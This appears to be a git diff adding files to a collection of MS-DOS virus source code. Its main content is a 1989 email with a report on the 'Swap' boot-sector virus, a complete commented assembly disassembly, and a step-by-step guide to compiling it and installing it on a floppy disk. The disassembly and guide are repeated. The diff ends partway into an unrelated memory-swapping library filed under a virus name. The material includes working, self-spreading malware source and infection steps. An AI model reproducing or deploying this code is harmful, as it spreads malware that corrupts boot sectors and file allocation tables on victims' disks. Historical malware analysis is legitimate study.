;Save registers + +;The virus picks a random number. It does it by adding AX,BX,CX and DX +;to RandomNumber. The values of AX,BX,CX and DX are undefined because an +;hardware interrupt (look6 commands back) was called. + + ADD CS:RandomNumber,AX ;\ + ADD CS:RandomNumber,BX ; |_ Create random number + ADD CS:RandomNumber,CX ; | + ADD CS:RandomNumber,DX ;/ + +;I am not sure what the programmer had done next but my guess is that this +;is the time check. The virus starts to work after 10 minuntes or so. + + CMP WORD PTR CS:Counter,0443h ;Is my counter>=443h? + JNB L029F ;Yes, it is.. + + INC WORD PTR CS:Counter ;No, incerase it and also + INC WORD PTR CS:Counter2 ;increase another thing (??) + ;and then, + JMP L034D ;goto end of routine + +L029F: CMP BYTE PTR CS:Got13,0 ; + JZ L0231 + CMP BYTE PTR CS:DiskDriv,0 ;Is diskette infected? + JNZ L0267 ;No, infect it! + +L02AF: CMP WORD PTR CS:Counter2,2A9Dh ;?? + JNB L02C0 ;?? + INC WORD PTR CS:Counter2 ;?? + JMP L034D ;Exit routine + +;----------------------------------------------------------------- +; This is the main routine which drops the letter from the screen +;----------------------------------------------------------------- + +L02C0: MOV BX,0B800h ;Make ES point to the screen + MOV ES,BX ;segment (only cga,ega,mcga) + CMP BYTE PTR CS:Status,0 ;Is status=0? + JNZ L0305 ;No, drop letter + +;This is done to make space in the time between the letters fall. + + ADD BYTE PTR CS:Flag,4 ;Flag:=Flag+4 + CMP BYTE PTR CS:Flag,4 ;Is flag=4? + JNB L034D ;If so, don't drop + + MOV BX,CS:RandomNumber ;Set up random number.. + MOV CL,5 ; + SHR BX,CL ;first, devide it by 32 + SHL BX,1 ;second, multiply it by 2 + + MOV AL,ES:[BX] ;Save the char we need to drop + CMP AL,20h ;is it a space( )? + JZ L034D ;if so, don't drop + + MOV CS:Char,AL ;Save the char + MOV BYTE PTR CS:CharUnder,20h ;The saved char is now ' ' + MOV CS:AddrChar,BX ;Svae the address of the char + MOV BYTE PTR CS:Status,1 ;Status=1 + +L0302: JMP SHORT L034D ;Go to exit + NOP ; + +L0305: CMP BYTE PTR CS:Status,2 ;Is Status=2? + JZ L0315 ;If so, continue + INC BYTE PTR CS:Status ;Else, status=status+1 + + JMP SHORT L034D ;Go to exit + NOP ; + +L0315: MOV BYTE PTR CS:Status,1 ;Status:=1 + MOV BX,CS:AddrChar ;Put address of character in BX + MOV AL,CS:CharUnder ;and the saved char at AL + MOV ES:[BX],AL ;Erase the letter on the screen + ADD BX,0A0h ;Move pointer to next line + + CMP BX,0FA0h ;Did we past end of screen? + JA L0347 ;If so, the dropping has ended + MOV CS:AddrChar,BX ;Save the new address + MOV AL,ES:[BX] ;and the character + MOV CS:CharUnder,AL ;and put the dropping letter + MOV AL,CS:Char ;in the current location + MOV ES:[BX],AL ; + + JMP SHORT L034D ;Go to end of routine + NOP ; + +L0347: MOV BYTE PTR CS:Status,0 ;Status:=0 + ; + +L034D: POP ES ;Resotre registers + POP DX ; + POP CX ; + POP BX ; + POP AX ; + IRET ;Return from interrupt + +;------------------------------------------------------------------- +;This part of the virus initilized the TSR +;------------------------------------------------------------------- + +L0353: PUSH DS ; + PUSH ES ;Save registers + MOV AX,CS ; + MOV DS,AX ;Make CS=DS + +;First thing, clear all the data area + + MOV ES,AX ;ES=DS + MOV DI,OFFSET DATA_BEGIN ;Offset of beginning of data + MOV CX,OFFSET DATA_END-OFFSET DATA_BEGIN ;Length of data + CLD ;Go forward + XOR AL,AL ;Store 0 each time (AL=0) + REPZ STOSB ;Repeat so CX times + +;Now, make ES point to the lowest segment in the memory + + XOR AX,AX ; + MOV ES,AX ;ES point to lowest segment + +;The interrupt vectors are written in the lowest segment so: +; +; 1) Save the interrupt 8 segment and offset for later use +; 2) Read amount of memory (0:413h) and steal 2K (the virus will be put here) + + MOV BX,ES:20h ;Get offset of int $8 + MOV DS:OldInt8[0],BX ;Save int $8 offset + MOV BX,ES:22h ;Get segment of int $8 + MOV DS:OldInt8[2],BX ;Save int $8 segment + + MOV AX,ES:413h ;Put amount of mem. in AX, + SUB AX,2 ;steal 2K and + MOV ES:413h,AX ;save the new amount of mem. + +;Copy the virus to the highest place in the memory: + + MOV CL,6 ; + SHL AX,CL ;Multiply the mem size by 64 and + MOV ES,AX ;make ES point to this segm. + MOV SI,OFFSET START ;SI to begining of this code + MOV DI,SI ; + MOV CX,OFFSET _End-OFFSET Start ;Virus length=_End-Start + CLD ; + REPZ MOVSB ;Copy the virus. + +;IMPORTANT: I am not sure that what I am saying in the next paragraph is +; correct. Please let me know if I am wrong + + XOR AX,AX ; + MOV DS,AX ;DS point to lowest segment + MOV BX,CS:OldInt8[0] ;Get the offset of int $8 and + MOV BYTE PTR ES:[BX],0CFh ;put 0CFh there (I think it is + ;to put IRET). + +;OK, now all the virus needs to do is to change the interrupt vector so +;it will point the new $8 interrput. + + MOV BX,ES ; + CLI ; + MOV DS:22h,BX ;Change the vector (Segment) + MOV BX,OFFSET L026A ;BX=Offset of new interrupt + MOV DS:20h,BX ;Change the vector (Offset) + STI ; + + POP ES ;Restore registers + POP DS ; + + RETF ;Return back + +;I guess this is the signature of the virus: + + DB 'The Swapping-Virus. (C) June, 1989 by the CIA' + + _END EQU THIS BYTE + + CODE ENDS +; +END START + +------------------------------------------------------------------------------- + H O W T O I N S T A L L T H E V I R U S +------------------------------------------------------------------------------- + + 1) Cut the disassembly from this text. + 2) Compile the disassembly. I used Macro Assembler 5.1 in order to compile and + link it but I think that there won't be any trouble using Turbo Assembler. + 3) Use EXE2BIN or anything else inorded to make it a .COM file. + 4) Format a diskette with the /S option inorder to put the operation system on + it (make sure you format it in 9 sectors per track format). + 5) Enter DOS's DEBUG debugger and load the .COM file that you have created. + 6) Type: M 100 400 0 this is done inorded to move the virus from CS:100 to + CS:0. + 7) Put the diskette you want to infect in drive A. + 8) Type: W 0 0 2CC 2 this command will write the virus into sectors 6-7 on + track 39. + 9) Type: L 0 0 0 1 this will load the boot sector into the memory. +10) Type: U 0 and remember the number after the JMP in offset 0. +11) Type: A 0 + JMP 196 this will execute the virus each time the + diskette is booted. +12) Type: A 196 + XOR AX,AX + INT 13 + MOV AX,202 + MOV CX,2706 + MOV DX,100 + MOV BX,2000 + MOV ES,BX + MOV BX,0 + INT 13 + CALL 2000:0000 + JMP +13) Now, save the boot sector by typing: W 0 0 0 1 + +That's it! The virus is now installed on your diskette! + ++-----------------------------------------------------------------------+ +| BitNet: NYYUVL@WEIZMANN CSNet: NYYUVAL@WEIZMANN.BITNET | +| InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU | +| | +| Yuval Tal | +| The Weizmann Institute Of Science "To be of not to be" -- Hamlet | +| Rehovot, Israel "Oo-bee-oo-bee-oo" -- Sinatra | ++-----------------------------------------------------------------------+ + +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳> and Remember Don't Forget to Call <陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 diff --git a/MSDOS/Virus.MSDOS.Unknown.swap.vir b/MSDOS/Virus.MSDOS.Unknown.swap.vir new file mode 100644 index 00000000..f8c0d29d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.swap.vir @@ -0,0 +1,551 @@ +From: Jnet%"NYYUVAL@WEIZMANN" "Yuval Tal -8-474592" 15-AUG-1989 19:42:53.22 +To: RCSTRN@HEITUE51 +CC: +Subj: Swap Virus + +Received: From WEIZMANN(VMMAIL) by HEITUE51 with Jnet id 6788 + for RCSTRN@HEITUE51; Tue, 15 Aug 89 19:42 N +Received: by WEIZMANN (Mailer R2.03B) id 7639; Tue, 15 Aug 89 20:34:55 +0300 +Date: Tue, 15 Aug 89 20:33:34 +0300 +From: "Yuval Tal (972)-8-474592" +Subject: Swap Virus +To: RCSTRN@HEITUE51 + +hi.... + +This is the swap virus that i've told u about.. + +cheers, + + yuval + +------------------------------------------------------+ + | The "Swapping" virus | + +------------------------------------------------------+ + | | + | Disassembled on: August, 1989 | + | | + | Disassembled by: Yuval Tal | + | | + | Disassembled using: ASMGEN and DEBUG | + | | + +------------------------------------------------------+ + +Important note: If you find *ANYTHING* that you think I wrote +incorrectly or is-understood something, please let me know ASAP. +You can reach me: + + Bitnet: NYYUVAL@WEIZMANN + InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU + + +This text is divided into theree parts: + + 1) A report about the Swap Virus. + 2) A disassembly of the Swap Virus. + 3) How to install this virus? + +------------------------------------------------------------------------------- + R E P O R T +------------------------------------------------------------------------------- + +Virus Name..............: The Swap Virus +Attacks.................: Floppy-disks only +Virus Detection when....: June, 1989 + at......: Israel +Length of virus.........: 1. The virus itself is 740 bytes. + 2. 2048 bytes in RAM. +Operating system(s).....: PC/MS DOS version 2.0 or later +Identifications.........: A) Boot-sector: + 1) Bytes from $16A in the boot sector are: + 31 C0 CD 13 B8 02 02 B9 06 27 BA 00 01 CD 13 + 9A 00 01 00 20 E9 XX XX + 2) The first three bytes in the boot sector are: + JMP 0196 (This is, if the boot sector was + loaded to CS:0). + B) FAT: Track 39 sectors 6-7 are marked as bad. + C) The message: + "The Swapping-Virus. (C) June, by the CIA" + is located in bytes 02B5-02E4 on track 39, + sector 7. +Type of infection.......: Stays in RAM, hooks int $8 and int $13. + A diskette is infected when it is inserted into the + drive and ANY command that reads or writes from/to + the diskette is executed. Hard disks are NOT infected! +Infection trigger.......: The virus starts to work after 10 minutes. +Interrupt hooked........: $8 (Timer-Tick - Responsible for the letter dropping) + $13 (Disk Drive - Infects!) +Damage..................: Track 39 sectors 6-7 will be marked as bad in the + FAT. +Damage trigger..........: The damage is done whenever a diskette is infected. +Particularities.........: A diskette will be infected only if track 39 sectors + 6-7 are empty. + + +------------------------------------------------------------------------------- + D I S A S S E M B L Y +------------------------------------------------------------------------------- + +;The first thing I did, inorder to dis-assemble this virus, was un-assemling +;it with the U command in DOS's DEBUG utility. Then, I used a dis-assembler +;called ASMGEN to set all the labels and variables in the .ASM file. I then +;compared the two outputs (from DEBUG and from ASMGEN) and updated the .ASM +;file that no command will be missing, added a few things and this is the +;result: + +CODE SEGMENT + + ASSUME DS:CODE,CS:CODE + ORG 0000H + +START: JMP L0353 + + DATA_BEGIN EQU THIS BYTE + + OldInt8 DW 0,0 ;The old interrupt 8: Offset Segment + OldInt13 DW 0,0 ;The old interrupt 13: Offset Segment + RandomNumber DW 0 ;The random number + Flag DB 0 + Counter DW 0 + Counter2 DW 0 + Status DB 0 + CHAR DB 0 ;The character that is falling + CHARUNDER DB 0 ;The chacterer that we save + ADDRCHAR DW 0 ;The address of the character in mem. + GOT13 DB 0 ;If interrupt 13 is installed + DISKDRIV DB 0 ;The diskette that we are infecting + DISK DW 0 ;The diskette that we are infecting + + + DATA_END EQU THIS BYTE + +; The following 11 command are written into the boot-sector at address CS:196 +; At first I worte the commands, but some of the opcodes weren't the same as +; in the virus so I've exchanged them into opcodes for maximum compability. + + + StartCmds EQU THIS BYTE + + DB 031h,0C0h ;XOR AX,AX + DB 0CDh,013h ;INT 13h + DB 0B8h,002h,002h ;MOV AX,OFFSET 0202h + DB 0B9h,006h,027h ;MOV CX,OFFSET 2706h + DB 0BAh,000h,001h ;MOV DX,OFFSET 0100h + DB 0BBh,000h,020h ;MOV BX,OFFSET 2000h + DB 08Eh,0C3h ;MOV ES,BX + DB 0BBh,000h,000h ;MOV BX,0 + DB 0CDh,013h ;INT 13h + DB 09Ah,00h,00h,00h,020h ;Call 2000h:0000 + DB 0E9h ;JMP +FirstJMP DW 0FE89h ; 003EH (Don't worry, + ; it's the right addres + + +;------------------------------------------ +; This is the new interrupt $13 routine +;------------------------------------------ + +NewInt13: + PUSHF ; + CMP DL,1h ;Call for drive A: or B:? + JA L0153 ;If not, don't put virus + + CMP AH,2h ;Is it a readblock function + JB L0153 ;(AH=2)? No, AH is smaller so + ;don't put virus + + CMP AH,3h ;Is it a writeblock function + JA L0153 ;(AH=3)? No, AH is bigger so + ;don't put virus + INC DL ;Set disk drive to fit the user + ;(Drive A=1 ; Drive B=2) + MOV CS:DiskDriv,DL ;Save the drive number + DEC DL ;Set disk drive to fit the int. + ;(Drive A=0 ; Drive B=1) + + +L0153: CALL DWORD PTR CS:OldInt13 ;Call the original int 13 + JNB L0160 ;If no error, goto end of + ;routine. (JNB=JNC) + MOV BYTE PTR CS:DiskDriv,0 ;If error, DiskDriv=0 + +L0160: RETF 2 ;Return from routine + +;----------------------------------------------------- +; Infect the diskette +;----------------------------------------------------- + +L0163: PUSH ES ; + PUSH BP ;Save registers + MOV BP,SP ; + MOV AX,[BP+10h] ;Let AX=CS from the stack + + POP BP ; + + CMP AX,0200h ;Are we called from the system? + JBE L01BB ;If so, don't infect + MOV BX,CS ;Get the program segment + CMP AX,BX ;Is it the same as one from + JNB L01BB ;stack? If so, don't infect + + MOV AX,CS ; + MOV ES,AX ;ES=CS + MOV AL,CS:DiskDriv ;AL=DiskDriv + DEC AL ;Set AL to fit int + XOR AH,AH ;AH=0 + MOV CS:Disk,AX ;Save AX + MOV AX,0201h ;Read one sector + MOV BX,0400h ;to buffer CS:400 + MOV CX,0003h ;from sector 3, track 0 (FAT) + MOV DX,CS:Disk ;restore the disk drive + INT 13h ;Read it!!! + JB L01BE ;If error, don't infect + + MOV AX,0301h ;Write one sector + MOV BX,0400h ;from CS:400 + MOV DX,CS:Disk ;the disk drive number + CMP BYTE PTR CS:[BX+13h],0 ;is there something on it? + JNZ L01BE ;yes, don't infect + + MOV BYTE PTR CS:[BX+13h],0F7h ;Mark the sector before the + OR BYTE PTR CS:[BX+14h],0Fh ;last one as bad + INT 13h ;Re-write the FAT! + JB L01BE ;If error, don't infect! + JMP SHORT L01C1 ;Continue... + +;Note: I have no idea what is the object of the next NOPs. + + NOP ; +L01BB: JMP SHORT L022D ;These JMP are for the don't + NOP ;infect...see above! +L01BE: JMP SHORT L0227 ; + NOP ; + +L01C1: MOV AX,0201h ;Read one sector to the + MOV BX,0400h ;buffer at CS:400 + MOV CX,0001h ;from sector 1, track 0 (boot + MOV DX,CS:Disk ;sector) from diskette + INT 13h ;Read it! + JB L0227 ;If error, don't infect + +;A boot sector always start with a JMP to a certain place. This virus changes +;this JMP to + + MOV BX,0400h ;Check where does the first + MOV AL,CS:[BX+1] ;JMP jumps to. + XOR AH,AH ; + SUB AX,1B3h ;Reduce 1B3h to calculate the + ;real JMP address and + MOV CS:FirstJMP,AX ;save it. + + MOV WORD PTR CS:[BX],93E9h ;Change the JMP in the loaded + MOV BYTE PTR CS:[BX+2],1 ;boot-sector (CS:400). E9=JMP + + PUSH SI ; + PUSH DI ; + PUSH DS ;Save registers + MOV AX,CS ; + MOV DS,AX ;DS=CS + +;Here, the commands which are added to the boot-sector at the 196th byte are +;copied to the loaded boot-sector at address CS:400. + + MOV SI,Offset StartCmds ;SI points to commands to add + ;to the boot-sector + MOV DI,0596h ;The 196th byte from CS:400 + MOV CX,1Fh ;The commands are 1Fh bytes long + CLD ; + REPZ MOVSB ;Copy it! + +L0200: POP DS ; +L0201: POP DI ; +L0202: POP SI ;Restore registers + +;The loaded and changed boot-sector is re-written to the diskette. + + MOV AX,0301h ;Write one sector from + MOV BX,0400h ;CS:400 to + MOV CX,0001h ;sector 1, track 0 + MOV DX,CS:Disk ;disk number.. + INT 13h ;Write data! + JB L0227 ;If error, don't infect + +;Here, the virus is written to the diskette to the marked bad sectors + + MOV AX,0302h ;Write two sectors from + MOV BX,0 ;CS:0 (this code!) to + MOV CX,2706h ;track 27h, sector 6 + MOV DX,CS:Disk ;disk number.. + MOV DH,1h ;side number 1 + INT 13h ;Write it! + +L0227: MOV BYTE PTR CS:DiskDriv,0 ;In case of error DiskDriv=0 +L022D: POP ES ;Restore register + JMP SHORT L02AF ;finished infecting + NOP ;Again, i don't know what is + ;this NOP object +;------------------------------------------- +; The new interrupt 13h is installed here +;------------------------------------------- + + +L0231: XOR AX,AX ;ES points to lowest segment + MOV ES,AX ;in memory + MOV BX,ES:4Ch ; + MOV CS:OldInt13[0],BX ;Save the int vector (offset) + MOV BX,ES:4Eh ; + MOV CS:OldInt13[2],BX ;Save the int vector (segment) + + MOV BX,CS ;BX=CS + MOV ES:4Eh,BX ;Change the int vector (segment) + MOV BX,Offset NewInt13 ;BX=Offset of the new int 13 + MOV ES:4Ch,BX ;Change the int vector (offset) + + MOV BYTE PTR CS:Got13,1 ;Mark flag that int 13 is instal + MOV BYTE PTR CS:Status,0 ;Status=0 + + JMP L034D ;Continue.... + +;----------------------------------------------------- + +L0267: JMP L0163 ;Infect disk! + +;----------------------------------------------------- +;This is the new interrupt $8 +;----------------------------------------------------- + +L026A: PUSHF ; + CALL DWORD PTR CS:OldInt8 ;Call orginal interrput + PUSH AX ; + PUSH BX ; + PUSH CX ; + PUSH DX ; + PUSH ES ;Save registers + +;The virus picks a random number. It does it by adding AX,BX,CX and DX +;to RandomNumber. The values of AX,BX,CX and DX are undefined because an +;hardware interrupt (look6 commands back) was called. + + ADD CS:RandomNumber,AX ;\ + ADD CS:RandomNumber,BX ; |_ Create random number + ADD CS:RandomNumber,CX ; | + ADD CS:RandomNumber,DX ;/ + +;I am not sure what the programmer had done next but my guess is that this +;is the time check. The virus starts to work after 10 minuntes or so. + + CMP WORD PTR CS:Counter,0443h ;Is my counter>=443h? + JNB L029F ;Yes, it is.. + + INC WORD PTR CS:Counter ;No, incerase it and also + INC WORD PTR CS:Counter2 ;increase another thing (??) + ;and then, + JMP L034D ;goto end of routine + +L029F: CMP BYTE PTR CS:Got13,0 ; + JZ L0231 + CMP BYTE PTR CS:DiskDriv,0 ;Is diskette infected? + JNZ L0267 ;No, infect it! + +L02AF: CMP WORD PTR CS:Counter2,2A9Dh ;?? + JNB L02C0 ;?? + INC WORD PTR CS:Counter2 ;?? + JMP L034D ;Exit routine + +;----------------------------------------------------------------- +; This is the main routine which drops the letter from the screen +;----------------------------------------------------------------- + +L02C0: MOV BX,0B800h ;Make ES point to the screen + MOV ES,BX ;segment (only cga,ega,mcga) + CMP BYTE PTR CS:Status,0 ;Is status=0? + JNZ L0305 ;No, drop letter + +;This is done to make space in the time between the letters fall. + + ADD BYTE PTR CS:Flag,4 ;Flag:=Flag+4 + CMP BYTE PTR CS:Flag,4 ;Is flag=4? + JNB L034D ;If so, don't drop + + MOV BX,CS:RandomNumber ;Set up random number.. + MOV CL,5 ; + SHR BX,CL ;first, devide it by 32 + SHL BX,1 ;second, multiply it by 2 + + MOV AL,ES:[BX] ;Save the char we need to drop + CMP AL,20h ;is it a space( )? + JZ L034D ;if so, don't drop + + MOV CS:Char,AL ;Save the char + MOV BYTE PTR CS:CharUnder,20h ;The saved char is now ' ' + MOV CS:AddrChar,BX ;Svae the address of the char + MOV BYTE PTR CS:Status,1 ;Status=1 + +L0302: JMP SHORT L034D ;Go to exit + NOP ; + +L0305: CMP BYTE PTR CS:Status,2 ;Is Status=2? + JZ L0315 ;If so, continue + INC BYTE PTR CS:Status ;Else, status=status+1 + + JMP SHORT L034D ;Go to exit + NOP ; + +L0315: MOV BYTE PTR CS:Status,1 ;Status:=1 + MOV BX,CS:AddrChar ;Put address of character in BX + MOV AL,CS:CharUnder ;and the saved char at AL + MOV ES:[BX],AL ;Erase the letter on the screen + ADD BX,0A0h ;Move pointer to next line + + CMP BX,0FA0h ;Did we past end of screen? + JA L0347 ;If so, the dropping has ended + MOV CS:AddrChar,BX ;Save the new address + MOV AL,ES:[BX] ;and the character + MOV CS:CharUnder,AL ;and put the dropping letter + MOV AL,CS:Char ;in the current location + MOV ES:[BX],AL ; + + JMP SHORT L034D ;Go to end of routine + NOP ; + +L0347: MOV BYTE PTR CS:Status,0 ;Status:=0 + ; + +L034D: POP ES ;Resotre registers + POP DX ; + POP CX ; + POP BX ; + POP AX ; + IRET ;Return from interrupt + +;------------------------------------------------------------------- +;This part of the virus initilized the TSR +;------------------------------------------------------------------- + +L0353: PUSH DS ; + PUSH ES ;Save registers + MOV AX,CS ; + MOV DS,AX ;Make CS=DS + +;First thing, clear all the data area + + MOV ES,AX ;ES=DS + MOV DI,OFFSET DATA_BEGIN ;Offset of beginning of data + MOV CX,OFFSET DATA_END-OFFSET DATA_BEGIN ;Length of data + CLD ;Go forward + XOR AL,AL ;Store 0 each time (AL=0) + REPZ STOSB ;Repeat so CX times + +;Now, make ES point to the lowest segment in the memory + + XOR AX,AX ; + MOV ES,AX ;ES point to lowest segment + +;The interrupt vectors are written in the lowest segment so: +; +; 1) Save the interrupt 8 segment and offset for later use +; 2) Read amount of memory (0:413h) and steal 2K (the virus will be put here) + + MOV BX,ES:20h ;Get offset of int $8 + MOV DS:OldInt8[0],BX ;Save int $8 offset + MOV BX,ES:22h ;Get segment of int $8 + MOV DS:OldInt8[2],BX ;Save int $8 segment + + MOV AX,ES:413h ;Put amount of mem. in AX, + SUB AX,2 ;steal 2K and + MOV ES:413h,AX ;save the new amount of mem. + +;Copy the virus to the highest place in the memory: + + MOV CL,6 ; + SHL AX,CL ;Multiply the mem size by 64 and + MOV ES,AX ;make ES point to this segm. + MOV SI,OFFSET START ;SI to begining of this code + MOV DI,SI ; + MOV CX,OFFSET _End-OFFSET Start ;Virus length=_End-Start + CLD ; + REPZ MOVSB ;Copy the virus. + +;IMPORTANT: I am not sure that what I am saying in the next paragraph is +; correct. Please let me know if I am wrong + + XOR AX,AX ; + MOV DS,AX ;DS point to lowest segment + MOV BX,CS:OldInt8[0] ;Get the offset of int $8 and + MOV BYTE PTR ES:[BX],0CFh ;put 0CFh there (I think it is + ;to put IRET). + +;OK, now all the virus needs to do is to change the interrupt vector so +;it will point the new $8 interrput. + + MOV BX,ES ; + CLI ; + MOV DS:22h,BX ;Change the vector (Segment) + MOV BX,OFFSET L026A ;BX=Offset of new interrupt + MOV DS:20h,BX ;Change the vector (Offset) + STI ; + + POP ES ;Restore registers + POP DS ; + + RETF ;Return back + +;I guess this is the signature of the virus: + + DB 'The Swapping-Virus. (C) June, 1989 by the CIA' + + _END EQU THIS BYTE + + CODE ENDS +; +END START + +------------------------------------------------------------------------------- + H O W T O I N S T A L L T H E V I R U S +------------------------------------------------------------------------------- + + 1) Cut the disassembly from this text. + 2) Compile the disassembly. I used Macro Assembler 5.1 in order to compile and + link it but I think that there won't be any trouble using Turbo Assembler. + 3) Use EXE2BIN or anything else inorded to make it a .COM file. + 4) Format a diskette with the /S option inorder to put the operation system on + it (make sure you format it in 9 sectors per track format). + 5) Enter DOS's DEBUG debugger and load the .COM file that you have created. + 6) Type: M 100 400 0 this is done inorded to move the virus from CS:100 to + CS:0. + 7) Put the diskette you want to infect in drive A. + 8) Type: W 0 0 2CC 2 this command will write the virus into sectors 6-7 on + track 39. + 9) Type: L 0 0 0 1 this will load the boot sector into the memory. +10) Type: U 0 and remember the number after the JMP in offset 0. +11) Type: A 0 + JMP 196 this will execute the virus each time the + diskette is booted. +12) Type: A 196 + XOR AX,AX + INT 13 + MOV AX,202 + MOV CX,2706 + MOV DX,100 + MOV BX,2000 + MOV ES,BX + MOV BX,0 + INT 13 + CALL 2000:0000 + JMP +13) Now, save the boot sector by typing: W 0 0 0 1 + +That's it! The virus is now installed on your diskette! + ++-----------------------------------------------------------------------+ +| BitNet: NYYUVL@WEIZMANN CSNet: NYYUVAL@WEIZMANN.BITNET | +| InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU | +| | +| Yuval Tal | +| The Weizmann Institute Of Science "To be of not to be" -- Hamlet | +| Rehovot, Israel "Oo-bee-oo-bee-oo" -- Sinatra | ++-----------------------------------------------------------------------+ + +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳> and Remember Don't Forget to Call <陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 diff --git a/MSDOS/Virus.MSDOS.Unknown.swap_p.asm b/MSDOS/Virus.MSDOS.Unknown.swap_p.asm new file mode 100644 index 00000000..23ee31fb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.swap_p.asm @@ -0,0 +1,437 @@ +.model large + +;EXECSWAP.ASM +; Swap memory and exec another program +; Copyright (c) 1988 TurboPower Software +; May be used freely as long as due credit is given +;----------------------------------------------------------------------------- +;DATA SEGMENT BYTE PUBLIC +.data + EXTRN _BytesSwapped:DWORD ;Bytes to swap to EMS/disk + EXTRN _EmsAllocated:BYTE ;True when EMS allocated for swap + EXTRN _FileAllocated:BYTE ;True when file allocated for swap + EXTRN _EmsHandle:WORD ;Handle of EMS allocation block + EXTRN _FrameSeg:WORD ;Segment of EMS page frame + EXTRN _FileHandle:WORD ;Handle of DOS swap file + EXTRN _SwapName:BYTE ;ASCIIZ name of swap file + EXTRN _PrefixSeg:WORD ;Base segment of program +;DATA ENDS +;----------------------------------------------------------------------------- +;CODE SEGMENT BYTE PUBLIC +.code +; ASSUME CS:CODE,DS:DATA + PUBLIC EXECWITHSWAP, _FIRSTTOSAVE + PUBLIC ALLOCATESWAPFILE, DEALLOCATESWAPFILE + PUBLIC EMSINSTALLED, EMSPAGEFRAME + PUBLIC ALLOCATEEMSPAGES, DEALLOCATEEMSHANDLE +;----------------------------------------------------------------------------- +FileAttr EQU 0 ;Swap file attribute (hidden+system) +EmsPageSize EQU 16384 ;Size of EMS page +FileBlockSize EQU 32768 ;Size of a file block +StkSize EQU 128 ;Bytes in temporary stack +lo EQU (WORD PTR 0) ;Convenient typecasts +hi EQU (WORD PTR 2) +ofst EQU (WORD PTR 0) +segm EQU (WORD PTR 2) +;----------------------------------------------------------------------------- +;Variables in CS +EmsDevice DB 'EMMXXXX0',0 ;Name of EMS device driver +UsedEms DB 0 ;1 if swapping to EMS, 0 if to file +BytesSwappedCS DD 0 ;Bytes to move during a swap +EmsHandleCS DW 0 ;EMS handle +FrameSegCS DW 0 ;Segment of EMS page window +FileHandleCS DW 0 ;DOS file handle +PrefixSegCS DW 0 ;Segment of base of program +Status DW 0 ;ExecSwap status code +LeftToSwap DD 0 ;Bytes left to move +SaveSP DW 0 ;Original stack pointer +SaveSS DW 0 ;Original stack segment +PathPtr DD 0 ;Pointer to program to execute +CmdPtr DD 0 ;Pointer to command line to execute +ParasWeHave DW 0 ;Paragraphs allocated to process +CmdLine DB 128 DUP(0) ;Terminated command line passed to DOS +Path DB 64 DUP(0) ;Terminated path name passed to DOS +FileBlock1 DB 16 DUP(0) ;FCB passed to DOS +FileBlock2 DB 16 DUP(0) ;FCB passed to DOS +BooBoo DB '$' +ComeBack DB '$' +EnvironSeg DW 0 ;Segment of environment for child +CmdLinePtr DD 0 ;Pointer to terminated command line +FilePtr1 DD 0 ;Pointer to FCB file +FilePtr2 DD 0 ;Pointer to FCB file +TempStack DB StkSize DUP(0) ;Temporary stack +StackTop LABEL WORD ;Initial top of stack +;----------------------------------------------------------------------------- +;Macros +MovSeg MACRO Dest,Src ;Set one segment register to another + PUSH Src + POP Dest + ENDM + +MovMem MACRO Dest,Src ;Move from memory to memory via AX + MOV AX,Src + MOV Dest,AX + ENDM + +InitSwapCount MACRO ;Initialize counter for bytes to swap + MovMem LeftToSwap.lo,BytesSwappedCS.lo + MovMem LeftToSwap.hi,BytesSwappedCS.hi + ENDM + +SetSwapCount MACRO BlkSize ;Return CX = bytes to move this block + LOCAL FullBlk ;...and reduce total bytes left to move + MOV CX,BlkSize ;Assume we'll write a full block + CMP LeftToSwap.hi,0 ;Is high word still non-zero? + JNZ FullBlk ;Jump if so + CMP LeftToSwap.lo,BlkSize ;Low word still a block or more? + JAE FullBlk ;Jump if so + MOV CX,LeftToSwap.lo ;Otherwise, move what's left +FullBlk:SUB LeftToSwap.lo,CX ;Reduce number left to move + SBB LeftToSwap.hi,0 + ENDM + +NextBlock MACRO SegReg, BlkSize ;Point SegReg to next block to move + MOV AX,SegReg + ADD AX,BlkSize/16 ;Add paragraphs to next segment + MOV SegReg,AX ;Next block to move + MOV AX,LeftToSwap.lo + OR AX,LeftToSwap.hi ;Bytes left to move? + ENDM + +EmsCall MACRO FuncAH ;Call EMM and prepare to check result + MOV AH,FuncAH ;Set up function + INT 67h + OR AH,AH ;Error code in AH + ENDM + +DosCallAH MACRO FuncAH ;Call DOS subfunction AH + MOV AH,FuncAH + INT 21h + ENDM + +DosCallAX MACRO FuncAX ;Call DOS subfunction AX + MOV AX,FuncAX + INT 21h + ENDM + +InitSwapFile MACRO + MOV BX,FileHandleCS ;BX = handle of swap file + XOR CX,CX + XOR DX,DX ;Start of file + DosCallAX 4200h ;DOS file seek + ENDM + +HaltWithError MACRO Level ;Halt if non-recoverable error occurs + PUSH CS + POP DS + MOV DX,OFFSET BooBoo + MOV AH,9 + INT 21h + MOV AL,Level ;Set errorlevel + DosCallAH 4Ch + ENDM + +MoveFast MACRO ;Move CX bytes from DS:SI to ES:DI + CLD ;Forward + RCR CX,1 ;Convert to words + REP MOVSW ;Move the words + RCL CX,1 ;Get the odd byte, if any + REP MOVSB ;Move it + ENDM + +SetTempStack MACRO ;Switch to temporary stack + MOV AX,OFFSET StackTop ;Point to top of stack + MOV BX,CS ;Temporary stack in this code segment 